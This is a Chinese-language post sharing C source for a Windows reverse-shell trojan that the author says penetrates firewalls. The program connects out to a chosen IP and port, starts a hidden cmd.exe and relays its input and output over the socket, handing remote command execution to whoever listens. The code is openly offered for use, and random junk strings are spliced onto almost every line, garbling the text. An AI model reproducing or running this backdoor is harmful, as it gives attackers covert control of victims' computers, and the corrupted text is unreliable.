这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 >i7zV`eK
KGdL1~
/* ============================== Sq8 `)$\
Rebound port in Windows NT EzqYHY+_r
By wind,2006/7 zm4Okg)w@
===============================*/ li;Np5P
#include +RQlMAB
#include -1d2Qed
Bi/=cI
#pragma comment(lib,"wsock32.lib") cJj4qXF
g+;m?VJ
void OutputShell(); '
Z:FGSwT
SOCKET sClient; fQRGz\r*k
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; XSC._)ztEE
o#gb+[
void main(int argc,char **argv) 'qwFVP
{ >M[wh>
WSADATA stWsaData; M%pxv6?""{
int nRet; ]f#ZU{A'mt
SOCKADDR_IN stSaiClient,stSaiServer; {rQ6IV3=
"f/lm 2<
if(argc != 3) /{
Lo0
{ uoR_/vol8
printf("Useage:\n\rRebound DestIP DestPort\n"); ?.~E:8
return;
hz{=@jX
} U">w3o|
PCDsj_e
WSAStartup(MAKEWORD(2,2),&stWsaData); <3zA|
+F$c_
\>
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n,}\;Bp
Fl<|/DCg
stSaiClient.sin_family = AF_INET; )w_0lm'v{r
stSaiClient.sin_port = htons(0); If>k~aL7I
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ,0O9!^
'AU(WHf
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) e2CjZ" C
{ :td6Mywl
printf("Bind Socket Failed!\n"); %Ez=
return; Q$Qs$
} 'D(| NYY
H+y(W5|2/X
stSaiServer.sin_family = AF_INET; `wz@l:e
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); kaf4GME]
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); xU+c?OLi
<|9s {z
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) `6;%HbP$W+
{ :"5'l>la
printf("Connect Error!"); |LA@guN
return; D_ er(
} rKg~H=4x2
OutputShell(); .si!`?K%[
} 0J7)UqMf.
- ` F#MN
void OutputShell() C# IV"Pkq
{ E+-ahvk
char szBuff[1024]; TOmq2*,/
SECURITY_ATTRIBUTES stSecurityAttributes; F33&A<(,
OSVERSIONINFO stOsversionInfo; ={ P
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 78&(>8@m
STARTUPINFO stStartupInfo; 5/4N Y
char *szShell; "
UaUaSg#
PROCESS_INFORMATION stProcessInformation; ~ /s(.oji
unsigned long lBytesRead; 6cH.s+
#AHX{<
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); v&6I\1
s<,[xkMB
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); mTXeIng?
stSecurityAttributes.lpSecurityDescriptor = 0; +Qy0K5Ee
stSecurityAttributes.bInheritHandle = TRUE; 0Snl_@s
UkK`5p<D7
S_?{<{
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ZP75zeH
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 7`-f N|
l%XuYYQ
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); AX=$r]_
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {`~uBz+dJq
stStartupInfo.wShowWindow = SW_HIDE; W&>ONo6ki
stStartupInfo.hStdInput = hReadPipe; r5yp
jT^
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; "`<tq#&C1
OSACH0h
GetVersionEx(&stOsversionInfo); nP`#z&C
@vzv9c[
switch(stOsversionInfo.dwPlatformId) 9XtR8MH
{ I-oY@l`
case 1: pIcvsd
szShell = "command.com"; HUUN*yikj
break; p2T<nP<Pt
default: 5n,?&+*L
szShell = "cmd.exe"; USBU?WDt
break; #nG?}*#
} =(\
/+
0-[
2MS-e}mi
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); }!-BZIOlO
V*]cF=W[A
send(sClient,szMsg,77,0); 9w\yWxl
while(1) 2P)*Y5`KBH
{ x[XN;W&
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); $&D$Uc`U>
if(lBytesRead) vX|i5P0)8
{ 0'&N?rS
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); h\C" ti2
send(sClient,szBuff,lBytesRead,0);
%T9'dcM
} fsd,q?{a:
else J3/2>N]/}
{ !F]7q]g
lBytesRead=recv(sClient,szBuff,1024,0); o2p;$W4`
if(lBytesRead<=0) break; qz]b8rX
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 2^Y@e=^A
} AcC'hr.N+
} >IZ|:lsxE
HCj/x<*F
return; \X&LrneR"t
}